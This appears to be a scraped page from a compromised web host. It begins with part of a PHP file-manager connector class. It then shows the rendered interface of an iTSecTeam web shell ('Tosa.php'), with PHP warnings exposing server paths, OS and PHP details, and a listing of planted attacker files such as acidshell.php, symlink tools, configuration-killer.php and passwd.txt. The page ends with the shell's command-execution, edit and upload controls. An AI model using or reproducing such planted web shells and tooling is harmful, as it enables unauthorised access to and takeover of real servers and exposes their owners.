$tmp[0]) && $tmp[0]!='' && isset($tmp[1]) && $tmp[1]!='') {
                        
$params[$tmp[0]] = $tmp[1];
                    }
                }
            }
        }
        
$this->params $params;
    }


    private function 
get_file_info($path=''$thumbnail false) {
            
        
// DO NOT  rawurlencode() since $current_path it
        // is used for displaying name file
        
if($path=='') {
            
$current_path $this->get['path'];
        } else {
            
$current_path $path;
        }
        
$tmp explode('/',$current_path);
        
$this->item['filename'] = $tmp[(sizeof($tmp)-1)];

        
$tmp explode('.',$this->item['filename']);
        
$this->item['filetype'] = $tmp[(sizeof($tmp)-1)];
        
$this->item['filemtime'] = filemtime($this->getFullPath($current_path));
        
$this->item['filectime'] = filectime($this->getFullPath($current_path));

        
$this->item['preview'] = $this->config['icons']['path'] . $this->config['icons']['default'];

        if(
is_dir($current_path)) {

            
$this->item['preview'] = $this->config['icons']['path'] . $this->config['icons']['directory'];

        } else if(
in_array(strtolower($this->item['filetype']),array_map('strtolower'$this->config['images']['imagesExt']))) {
            
            
// svg should not be previewed as raster formats images
            
if($this->item['filetype'] == 'svg') {
                
$this->item['preview'] = $current_path;
            } else {
                
$this->item['preview'] = 'connectors/php/filemanager.php?mode=preview&path='rawurlencode($current_path).'&'time();
                if(
$thumbnail$this->item['preview'] .= '&thumbnail=true';
            }
            
//if(isset($get['getsize']) && $get['getsize']=='true') {
            
$this->item['properties']['Size'] = filesize($this->getFullPath($current_path));
            if (
$this->item['properties']['Size']) {
                list(
$width$height$type$attr) = getimagesize($this->getFullPath($current_path));
            } else {
                
$this->item['properties']['Size'] = 0;
                list(
$width$height) = array(00);
            }
            
$this->item['properties']['Height'] = $height;
            
$this->item['properties']['Width'] = $width;
            
$this->item['properties']['Size'] = filesize($this->getFullPath($current_path));
            
//}

    
} else if(file_exists($this->root $this->config['icons']['path'] . strtolower($this->item['filetype']) . '.png')) {

        
$this->item['preview'] = $this->config['icons']['path'] . strtolower($this->item['filetype']) . '.png';
        
$this->item['properties']['Size'] = filesize($this->getFullPath($current_path));
        if (!
$this->item['properties']['Size']) $this->item['properties']['Size'] = 0;

    }

    
$this->item['properties']['Date Modified'] = date($this->config['options']['dateFormat'], $this->item['filemtime']);
    
$this->item['properties']['filemtime'] = filemtime($this->getFullPath($current_path));
    
//$return['properties']['Date Created'] = $this->config['options']['dateFormat'], $return['filectime']); // PHP cannot get create timestamp
}

private function 
getFullPath($path '') {
        
    if(
$path == '') {
        if(isset(
$this->get['path'])) $path $this->get['path'];
    }
    
    if(
$this->config['options']['fileRoot'] !== false) {
        
$full_path $this->doc_root rawurldecode(str_replace $this->doc_root '' $path));
        if(
$this->dynamic_fileroot != '') {
            
$full_path $this->doc_root rawurldecode(str_replace $this->dynamic_fileroot '' $path));
        }
    } else {
        
$full_path $this->doc_root rawurldecode($path);
    }
        
    
$full_path str_replace("//""/"$full_path);
        
    
// $this->__log(__METHOD_. " returned path : " . $full_path);
        
    
return $full_path;
        
}

/**
 * format path regarding the initial configuration
 * @param string $path
 */
private function formatPath($path) {
    
    if(
$this->dynamic_fileroot != '') {
        
        
$a explode($this->separator$path);
        return 
end($a);
        
    } else {
        
        return 
$path;
        
    }

}

private function 
sortFiles($array) {

    
// handle 'NAME_ASC'
    
if($this->config['options']['fileSorting'] == 'NAME_ASC') {
        
$array array_reverse($array);
    }

    
// handle 'TYPE_ASC' and 'TYPE_DESC'
    
if(strpos($this->config['options']['fileSorting'], 'TYPE_') !== false || $this->config['options']['fileSorting'] == 'default') {
        
        
$a = array();
        
$b = array();
        
        foreach (
$array as $key=>$item){
            if(
strcmp($item["File Type"], "dir") == 0) {
                
$a[$key]=$item;
            }else{
                
$b[$key]=$item;
            }
        }

        if(
$this->config['options']['fileSorting'] == 'TYPE_ASC') {
            
$array array_merge($a$b);
        }

        if(
$this->config['options']['fileSorting'] == 'TYPE_DESC' || $this->config['options']['fileSorting'] == 'default') {
            
$array array_merge($b$a);
        }
    }

    
// handle 'MODIFIED_ASC' and 'MODIFIED_DESC'
    
if(strpos($this->config['options']['fileSorting'], 'MODIFIED_') !== false) {

        
$modified_order_array = array();  // new array as a column to sort collector

        
foreach ($array as $item) {
            
$modified_order_array[] = $item['Properties']['filemtime'];
        }

        if(
$this->config['options']['fileSorting'] == 'MODIFIED_ASC') {
            
array_multisort($modified_order_arraySORT_ASC$array);
        }
        if(
$this->config['options']['fileSorting'] == 'MODIFIED_DESC') {
            
array_multisort($modified_order_arraySORT_DESC$array);
        }
        return 
$array;

    }
    
    return 
$array;


}

private function 
isValidPath($path) {
        
    
// @todo remove debug message
    // $this->__log('compare : ' .$this->getFullPath(). '($this->getFullPath())  and ' . $path . '(path)');
    // $this->__log('strncmp() retruned value : ' .strncmp($path, $this->getFullPath(), strlen($this->getFullPath())));
        
    
return !strncmp($path$this->getFullPath(), strlen($this->getFullPath()));

}

private function 
unlinkRecursive($dir,$deleteRootToo=true) {
    if(!
$dh = @opendir($dir)) {
        return;
    }
    while (
false !== ($obj readdir($dh))) {
        if(
$obj == '.' || $obj == '..') {
            continue;
        }

        if (!@
unlink($dir '/' $obj)) {
            
$this->unlinkRecursive($dir.'/'.$objtrue);
        }
    }

    
closedir($dh);

    if (
$deleteRootToo) {
        @
rmdir($dir);
    }

    return;
}

/**
 * isAllowedFile()
 * check if extension is allowed regarding the security Policy / Restrictions settings
 * @param string $file
 */
private function isAllowedFileType($file) {
    
    
$path_parts pathinfo($file);
    
    
$exts array_map('strtolower'$this->config['security']['uploadRestrictions']);
    
    if(
$this->config['security']['uploadPolicy'] == 'DISALLOW_ALL') {
            
        if(!
in_array(strtolower($path_parts['extension']), $exts))
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
    }
    if(
$this->config['security']['uploadPolicy'] == 'ALLOW_ALL') {
    
        if(
in_array(strtolower($path_parts['extension']), $exts))
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
    }
    
    return 
true;
    
}

private function 
cleanString($string$allowed = array()) {
    
$allow null;

    if (!empty(
$allowed)) {
        foreach (
$allowed as $value) {
            
$allow .= "\\$value";
        }
    }

    
$mapping = array(
            
'Š'=>'S''š'=>'s''Đ'=>'Dj''đ'=>'dj''Ž'=>'Z''ž'=>'z''Č'=>'C''č'=>'c''Ć'=>'C''ć'=>'c',
            
'À'=>'A''Á'=>'A''Â'=>'A''Ã'=>'A''Ä'=>'A''Å'=>'A''Æ'=>'A''Ç'=>'C''È'=>'E''É'=>'E',
            
'Ê'=>'E''Ë'=>'E''Ì'=>'I''Í'=>'I''Î'=>'I''Ï'=>'I''Ñ'=>'N''Ò'=>'O''Ó'=>'O''Ô'=>'O',
            
'Õ'=>'O''Ö'=>'O''Ő'=>'O''Ø'=>'O''Ù'=>'U''Ú'=>'U''Û'=>'U''Ü'=>'U''Ű'=>'U''Ý'=>'Y',
            
'Þ'=>'B''ß'=>'Ss','à'=>'a''á'=>'a''â'=>'a''ã'=>'a''ä'=>'a''å'=>'a''æ'=>'a''ç'=>'c',
            
'è'=>'e''é'=>'e''ê'=>'e''ë'=>'e''ì'=>'i''í'=>'i''î'=>'i''ï'=>'i''ð'=>'o''ñ'=>'n',
            
'ò'=>'o''ó'=>'o''ô'=>'o''õ'=>'o''ö'=>'o''ő'=>'o''ø'=>'o''ù'=>'u''ú'=>'u''ű'=>'u',
            
'û'=>'u''ý'=>'y''ý'=>'y''þ'=>'b''ÿ'=>'y''Ŕ'=>'R''ŕ'=>'r'' '=>'_'"'"=>'_''/'=>''
    
);

    if (
is_array($string)) {

        
$cleaned = array();

        foreach (
$string as $key => $clean) {
            
$clean strtr($clean$mapping);

            if(
$this->config['options']['chars_only_latin'] == true) {
                
$clean preg_replace("/[^{$allow}_a-zA-Z0-9]/u"''$clean);
                
// $clean = preg_replace("/[^{$allow}_a-zA-Z0-9\x{0430}-\x{044F}\x{0410}-\x{042F}]/u", '', $clean); // allow only latin alphabet with cyrillic
            
}
            
$cleaned[$key] = preg_replace('/[_]+/''_'$clean); // remove double underscore
        
}
    } else {
        
$string strtr($string$mapping);
        if(
$this->config['options']['chars_only_latin'] == true) {
            
$clean preg_replace("/[^{$allow}_a-zA-Z0-9]/u"''$string);
            
// $clean = preg_replace("/[^{$allow}_a-zA-Z0-9\x{0430}-\x{044F}\x{0410}-\x{042F}]/u", '', $string); // allow only latin alphabet with cyrillic
        
}
        
$cleaned preg_replace('/[_]+/''_'$string); // remove double underscore
        
    
}
    return 
$cleaned;
}

/**
 * Return Thumbnail path from given path
 * works for both file and dir path
 * @param string $path
 */
private function get_thumbnail_path($path) {
        
    
$a explode($this->separator$path);

    
$path_parts pathinfo($path);

    
$thumbnail_path $a[0].$this->separator.'/'.$this->cachefolder.dirname(end($a)).'/';
    
$thumbnail_name $path_parts['filename'] . '_' $this->thumbnail_width 'x' $this->thumbnail_height 'px.' $path_parts['extension'];
    
    if(
is_dir($path)) {
        
$thumbnail_fullpath $thumbnail_path;
    } else {
        
$thumbnail_fullpath $thumbnail_path.$thumbnail_name;
    }

    return 
$thumbnail_fullpath;

}

/**
 * For debugging just call
 * the direct URL http://localhost/Filemanager/connectors/php/filemanager.php?mode=preview&path=%2FFilemanager%2Fuserfiles%2FMy%20folder3%2Fblanches_neiges.jPg&thumbnail=true
 * and echo vars below
 * @param string $path
 */
private function get_thumbnail($path) {
    
    require_once(
'./inc/vendor/wideimage/lib/WideImage.php');
    
    
$thumbnail_fullpath $this->get_thumbnail_path($path);
    
    
// echo $thumbnail_fullpath.'<br>';
    
    // if thumbnail does not exist we generate it
    
if(!file_exists($thumbnail_fullpath)) {
        
        
// create folder if it does not exist
        
if(!file_exists(dirname($thumbnail_fullpath))) {
            
mkdir(dirname($thumbnail_fullpath), 0755true);
        }
        
$image WideImage::load($path);
        
$resized $image->resize($this->thumbnail_width$this->thumbnail_height'outside')->crop('center''center'$this->thumbnail_width$this->thumbnail_height);
        
$resized->saveToFile($thumbnail_fullpath);

        
$this->__log(__METHOD__ ' - generating thumbnail :  '$thumbnail_fullpath);
        
    }
    
    return 
$thumbnail_fullpath;
}

private function 
sanitize($var$preserve null) {
    
$sanitized strip_tags($var);
    
$sanitized str_replace('http://'''$sanitized);
    
$sanitized str_replace('https://'''$sanitized);
    if (
$preserve != 'parent_dir') {
        
$sanitized str_replace('../'''$sanitized);
    }
    return 
$sanitized;
}

private function 
checkFilename($path,$filename,$i='') {
    if(!
file_exists($path $filename)) {
        return 
$filename;
    } else {
        
$_i $i;
        
$tmp explode(/*$this->config['upload']['suffix'] . */$i '.',$filename);
        if(
$i=='') {
            
$i=1;
        } else {
            
$i++;
        }
        
$filename str_replace($_i '.' $tmp[(sizeof($tmp)-1)],$i '.' $tmp[(sizeof($tmp)-1)],$filename);
        return 
$this->checkFilename($path,$filename,$i);
    }
}

private function 
loadLanguageFile() {

    
// we load langCode var passed into URL if present and if exists
    // else, we use default configuration var
    
$lang $this->config['options']['culture'];
    if(isset(
$this->params['langCode']) && in_array($this->params['langCode'], $this->languages)) $lang $this->params['langCode'];

    if(
file_exists($this->root'scripts/languages/'.$lang.'.js')) {
        
$stream =file_get_contents($this->root'scripts/languages/'.$lang.'.js');
        
$this->language json_decode($streamtrue);
    } else {
        
$stream =file_get_contents($this->root'scripts/languages/'.$lang.'.js');
        
$this->language json_decode($streamtrue);
    }
}

private function 
availableLanguages() {

    if (
$handle opendir($this->root.'/scripts/languages/')) {
        while (
false !== ($file readdir($handle))) {
            if (
$file != "." && $file != "..") {
                
array_push($this->languagespathinfo($filePATHINFO_FILENAME));
            }
        }
        
closedir($handle);
    }
}

private function 
is_image($path) {
    
    
$a getimagesize($path);
    
$image_type $a[2];

    if(
in_array($image_type , array(IMAGETYPE_GIF IMAGETYPE_JPEG ,IMAGETYPE_PNG IMAGETYPE_BMP))) {
        return 
true;
    }
    return 
false;
}


private function 
__log($msg) {
        
    if(
$this->logger == true) {

        
$fp fopen($this->logfile"a");
        
$str "[" date("d/m/Y h:i:s"mktime()) . "]#".  getUserIP() . "#" $msg;
        
fwrite($fp$str PHP_EOL);
        
fclose($fp);
    }
        
}

public function 
enableLog($logfile '') {
        
    
$this->logger true;
        
    if(
$logfile != '') {
        
$this->logfile $logfile;
    }
        
    
$this->__log(__METHOD__ ' - Log enabled (in '$this->logfile' file)');
        
}

public function 
disableLog() {

    
$this->logger false;

    
$this->__log(__METHOD__ ' - Log disabled');
}

/**
 * Remove "../" from path
 *
 * @param string path to be converted
 * @param bool if dir names should be cleaned
 * @return string or false in case of error (as exception are not used here)
 */
public function expandPath($path$clean false)
{
    
$todo  explode('/'$path);
    
$fullPath = array();

    foreach (
$todo as $dir) {
        if (
$dir == '..') {
            
$element array_pop($fullPath);
            if (
is_null($element)) {
                return 
false;
            }
        } else {
            if (
$clean) {
                
$dir $this->cleanString($dir);
            }
            
array_push($fullPath$dir);
        }
    }
    return 
implode('/'$fullPath);
}
}
?>

Warning: filesize() [function.filesize]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: filectime() [function.filectime]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: fileperms() [function.fileperms]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664
iTSecTeam
Operation System : Linux rs4.webd.pl 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 | Php Version : 5.2.13 | Safe Mode : Off

Now Directory : /home/redpine/public_html/tmp/

symlink13/07/15755DLMoveCopyRenDel
sym13/07/12755DLMoveCopyRenDel
mr13/10/16755DLMoveCopyRenDel
perl13/07/15755DLMoveCopyRenDel
msd13/07/14755DLMoveCopyRenDel
hossein13/10/16755DLMoveCopyRenDel
install_51973efe3083713/05/18755DLMoveCopyRenDel
b4ck.php803 B13/07/16644EditDLMoveCopyRenDel
TeamPS.php62.15 KB13/07/14644EditDLMoveCopyRenDel
weeb.php74.8 KB13/08/09644EditDLMoveCopyRenDel
new.pl910 B13/07/21644EditDLMoveCopyRenDel
adm.php52.29 KB13/08/05644EditDLMoveCopyRenDel
idc.php187 B13/07/14644EditDLMoveCopyRenDel
cp.php29.37 KB13/07/16644EditDLMoveCopyRenDel
us.pl1.23 KB13/07/15644EditDLMoveCopyRenDel
symlink_sa.php26.67 KB13/07/12644EditDLMoveCopyRenDel
passwd.php1.33 KB13/07/12644EditDLMoveCopyRenDel
wss.php16.42 KB13/08/05644EditDLMoveCopyRenDel
Mr.HiTman.txt B70/01/010EditDLMoveCopyRenDel
domain.php2.17 KB13/07/12644EditDLMoveCopyRenDel
jic.php14.1 KB13/08/05644EditDLMoveCopyRenDel
php.ini24 B13/11/22644EditDLMoveCopyRenDel
shells-goes-here.txt2.88 KB13/11/22644EditDLMoveCopyRenDel
ro.pHp126.63 KB13/10/16644EditDLMoveCopyRenDel
acidshell.php184.29 KB13/07/30644EditDLMoveCopyRenDel
persia.php47.76 KB13/07/14644EditDLMoveCopyRenDel
sajjad.php1.59 KB13/08/05644EditDLMoveCopyRenDel
Saudi.php13.44 KB13/07/14644EditDLMoveCopyRenDel
webadmin.php68.83 KB13/07/14644EditDLMoveCopyRenDel
index.php5.47 KB13/08/06644EditDLMoveCopyRenDel
Tosa.php85.29 KB13/11/08644EditDLMoveCopyRenDel
Symlink4.php88.11 KB13/07/16644EditDLMoveCopyRenDel
.htaccess0 B13/11/22644EditDLMoveCopyRenDel
agha.ahmad.php1.35 KB13/08/06644EditDLMoveCopyRenDel
config.php1.48 KB13/07/12644EditDLMoveCopyRenDel
hossein.php1.35 KB13/10/16644EditDLMoveCopyRenDel
passwd.txt46.71 KB13/07/12644EditDLMoveCopyRenDel
index.html31 B13/05/18644EditDLMoveCopyRenDel
majid.html3.04 KB13/07/10644EditDLMoveCopyRenDel
sql.php36.62 KB13/11/09644EditDLMoveCopyRenDel
wic.php16.82 KB13/08/05644EditDLMoveCopyRenDel
storm.php711.52 KB13/07/16644EditDLMoveCopyRenDel
configuration-killer.php14.2 KB13/07/12644EditDLMoveCopyRenDel
shellfinder.php13.82 KB13/07/16644EditDLMoveCopyRenDel
hd.php149.68 KB13/10/16644EditDLMoveCopyRenDel
index.htm5.47 KB13/08/06644EditDLMoveCopyRenDel
config.pl5.63 KB13/07/12755EditDLMoveCopyRenDel
ss.php0 B13/11/22644EditDLMoveCopyRenDel
Directory : 7 -- File : 41

Command Execute :

Change Dir :

Edit File :

Create Dir :

Create File :

Upload :
Maximum Size : 32M

iTSecTeam.com
Coded by Amin Shokohi (Pejvak)